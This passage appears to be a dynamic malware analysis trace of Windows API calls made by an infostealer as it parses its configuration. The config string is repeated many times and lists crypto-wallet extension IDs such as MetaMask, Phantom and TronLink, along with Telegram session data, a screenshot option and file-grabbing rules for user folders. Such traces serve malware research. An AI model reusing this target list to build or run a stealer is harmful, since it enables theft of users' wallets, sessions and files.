Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1897 [0260.595] LocalAlloc (uFlags=0x40, uBytes=0xf52) returned 0x6bc3c0 [0260.595] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.596] LocalFree (hMem=0x6bc3c0) returned 0x0 [0260.596] StrStrW (lpFirst="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.596] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.596] LocalFree (hMem=0x6b9720) returned 0x0 [0260.596] LocalFree (hMem=0x6ba600) returned 0x0 [0260.597] LocalFree (hMem=0x6bb4e0) returned 0x0 [0260.597] StrStrW (lpFirst="ews_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.597] lstrlenW (lpString="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1816 [0260.597] lstrlenW (lpString="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1816 [0260.597] LocalAlloc (uFlags=0x40, uBytes=0xe30) returned 0x6b9720 [0260.597] lstrlenW (lpString="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1816 [0260.597] LocalAlloc (uFlags=0x40, uBytes=0xe30) returned 0x6ba558 [0260.597] lstrlenW (lpString="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1816 [0260.597] LocalAlloc (uFlags=0x40, uBytes=0xe30) returned 0x6bb390 [0260.597] StrStrW (lpFirst="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.597] lstrlenW (lpString="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1816 [0260.597] LocalAlloc (uFlags=0x40, uBytes=0xeb0) returned 0x6bc1c8 [0260.597] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.598] LocalFree (hMem=0x6bc1c8) returned 0x0 [0260.598] StrStrW (lpFirst="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") 